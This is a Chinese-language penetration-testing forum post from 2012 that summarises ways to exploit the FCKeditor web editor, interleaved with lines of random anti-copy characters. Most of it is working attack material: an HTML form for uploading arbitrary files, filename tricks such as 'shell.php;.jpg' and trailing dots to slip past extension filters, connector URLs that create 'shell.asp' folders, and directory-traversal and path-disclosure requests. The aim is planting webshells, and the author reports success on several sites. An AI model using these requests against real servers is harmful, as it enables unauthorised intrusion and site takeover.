中国网络渗透测试联盟
标题:
Fckeditor漏洞 (2)
[打印本页]
作者:
admin
时间:
2012-9-13 17:01
标题:
Fckeditor漏洞 (2)
Fckeditor漏洞利用总结
2 q+ h; y5 ?8 q; j* f7 `
查看编辑器版本
5 R+ H; |7 x6 n# i% |) _4 X$ [( W* p
FCKeditor/_whatsnew.html
( w2 `7 Z% S' S# L4 a
—————————————————————————————————————————————————————————————
; J7 D( \+ s) K
9 w4 G2 v7 ~/ N1 V4 ~* i3 }
2. Version 2.2 版本
& ?% A0 D* t$ q) {- c8 d/ |
Apache+linux 环境下在上传文件后面加个.突破!测试通过。
" A2 D* a5 ~$ h9 h* ]! \
—————————————————————————————————————————————————————————————
1 W1 P4 G2 C$ b( u0 D
2 H$ X5 n* C- f$ R2 J
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
$ {! V9 s0 ^! @9 m; m3 y1 b
<form id="frmUpload" enctype="multipart/form-data"
, B" {2 p: r/ Z5 B+ c/ y7 x- Y
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
, @. c1 Q$ m& }* U$ w! E7 k
<input type="file" name="NewFile" size="50"><br>
% H4 K9 M9 Q0 x: w2 _0 `' T
<input id="btnUpload" type="submit" value="Upload">
* [! `- K. i9 X* o, `/ n0 p
</form>
+ a( M9 [( |3 O
—————————————————————————————————————————————————————————————
+ w; L: \1 G L& H. G: m
6 ~& C0 D8 D0 S6 h
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
. \9 m2 P' R. ?7 A2 g# }4 F( B
很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
: o7 `0 m& M; L( F( G
4.1:提交shell.php+空格绕过
8 c- {- X. H1 t
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
5 A6 }) b8 a6 Y5 a# Y
4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
. n5 j$ p6 \8 U7 M9 J: q* c
—————————————————————————————————————————————————————————————
1 Y0 A9 m& ]1 \
7 i$ W! z; ]0 s. j
5. 突破建立文件夹
" B) ~7 t' z& b6 Q0 K0 d
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
2 H1 O3 W/ }+ I/ X& z& }7 B
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
- W/ c9 ]) q j$ s- C: b
—————————————————————————————————————————————————————————————
5 V& u, ?9 i" j0 t( H$ [( O3 ]
# J# i' V9 |) l
6. FCKeditor 中test 文件的上传地址
7 m9 X2 T+ i; @+ O% C% }
FCKeditor/editor/filemanager/browser/default/connectors/test.html
9 s1 {1 r/ c# }. h
FCKeditor/editor/filemanager/upload/test.html
. [3 t* B/ o+ N) h' R7 v; e
FCKeditor/editor/filemanager/connectors/test.html
7 u, h$ H# x# [# f% ^( U0 C, _
FCKeditor/editor/filemanager/connectors/uploadtest.html
( ]% C; ~; ]7 V s
—————————————————————————————————————————————————————————————
8 f" a. f o( [
4 Y; W( X+ l3 T& n7 b- ]; n
7.常用上传地址
/ l; k! r2 T" _$ X
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
6 X0 R9 U5 L3 R- z! y
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
& f% {' T4 F" T" D" y
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
# ~- c& q5 U' d0 S7 l, _5 _2 M
JSP 版:
/ O6 D5 M% }9 q
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
! f# q) L8 N' g% [8 m$ N2 i' P
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
4 B, J7 D5 s' I) I5 S4 s
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
: E1 z# S& M4 J6 c" y5 x! L
—————————————————————————————————————————————————————————————
6 l. G' c7 |( a4 F( n* E
6 k6 H! q) ?& T# j
8.其他上传地址
; v& ]. b8 e9 c- j+ X
FCKeditor/_samples/default.html
8 x: `1 ?( m+ n3 s4 g( J+ G
FCKeditor/_samples/asp/sample01.asp
0 r7 Y5 j- d; w$ l' t
FCKeditor/_samples/asp/sample02.asp
/ C+ O' e" T' d& K% K
FCKeditor/_samples/asp/sample03.asp
1 L, a8 B+ \: A G4 A, v# E
FCKeditor/_samples/asp/sample04.asp
! g4 y3 G$ f! n* e4 I! Q2 u
一般很多站点都已删除_samples 目录,可以试试。
2 f; A* d F3 v M) s ~
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
' b8 F- m5 |; H4 {3 y% B0 G5 p# a
—————————————————————————————————————————————————————————————
* `( d- `: b- x2 T+ y
* L% L6 o! |9 u0 m# S) \+ z* F
9.列目录漏洞也可助找上传地址
: L: H4 [3 G8 _- A% L
Version 2.4.1 测试通过
# _/ Z0 p& F. ?: d
修改CurrentFolder 参数使用 ../../来进入不同的目录
' t8 g! _$ ]# R
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
: {6 V: }) R, C; j* d/ k' ]6 w
根据返回的XML 信息可以查看网站所有的目录。
3 V, z5 b0 U r( ^$ @6 g6 W: |
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
! k# U/ N! k+ P& B2 J
也可以直接浏览盘符:
% w+ n& n' u: U% ~
JSP 版本:
; e& l, X& A( \, K
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
, z4 E4 w" ^- O, u+ l
—————————————————————————————————————————————————————————————
2 e# }1 ?5 S8 l6 H4 f \
* T2 E3 Z) c1 [ s+ m
10.爆路径漏洞
2 i' w- A& U0 X6 }
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
# d( M" s/ B2 G5 U1 s: s# [3 H, Y
—————————————————————————————————————————————————————————————
; e( ]$ N/ b9 t2 q) }
' X' \3 `/ i2 ~4 v
11. FCKeditor 被动限制策略所导致的过滤不严问题
% J' H) n' h; M" D) a
影响版本: FCKeditor x.x <= FCKeditor v2.4.3
; U, c9 {, r/ S) w6 i5 U8 ]
脆弱描述:
) @, ^3 G) a" z! k; v5 W
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:
* w- @, `. {3 w2 r; A
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
0 A4 K6 q+ B8 }
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
7 b/ f& Z1 N8 `2 b Z
而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
* }. G" b$ [8 S/ h- e/ d' K
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
* [; k) ]0 X9 w7 h% U# }
—————————————————————————————————————————————————————————————
0 A# K) c8 k8 h
3 l& S; H* O5 ~) _5 J4 f
12.最古老的漏洞,Type文件没有限制!
& L% E; T t; y: q# v, Z! H
我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本!
- L/ v4 D6 A9 X; A: [) `- W7 q! y, E
—————————————————————————————————————————————————————————————
( M& l1 f( y# W1 }; |
# Z+ Z% @; d# j4 f* m
===============================================================================================================================================
. E, ?- X1 t5 O! R2 \
9 h; b. }. q, G* A' t
FCK编辑器jsp版本漏洞:
$ v% \5 h8 B3 d$ b2 M. `
+ b7 k# Y7 ~, r! y
; C# t1 p5 W2 g2 P4 t1 i" x' G( m
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
$ }/ Y- N. d9 {. ?% z( i, g. e8 B
?& ^. V% E3 T8 d4 X1 T
上传马所在目录
5 p7 P1 ]0 {, M9 A6 `
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
. N( C) L/ U" M( k
上传shell的地址:
4 Y. v" c |* Q1 d
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
# I% n G ^1 j& T$ O
跟版本有关系.并不是百分百成功. 测试成功几个站.
2 T& L. I: ]+ m6 L( X% {+ Z) u
不能通杀.很遗憾.
3 e3 ?2 e5 \* z. p, _9 Z
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
% G4 f0 ~4 n; ?! v5 o1 z% U6 {
如果以上地址不行可以试试
B6 y$ ?) x$ O, {4 S @$ Y
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
6 e, R, E J" c" ?; {, \
FCKeditor/_samples/
. v7 q( n4 k, l- d, K
FCKeditor/_samples/default.html
" `# R$ o) c! k8 {; ]$ V' [0 Q
FCKeditor/editor/fckeditor.htm
9 D/ r( S0 \4 T( P* h j6 F
FCKeditor/editor/fckdialog.html
; t/ F# z1 `7 |6 J8 V- |
6 @, R9 K% O3 \* i
A3 L1 o. w4 M& J8 u! }# Y
, f1 n, I, h; E% P* A
解析漏洞+未重命名文件时上传漏洞 1.asp;jpg
) d |# f$ Q% n$ q
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2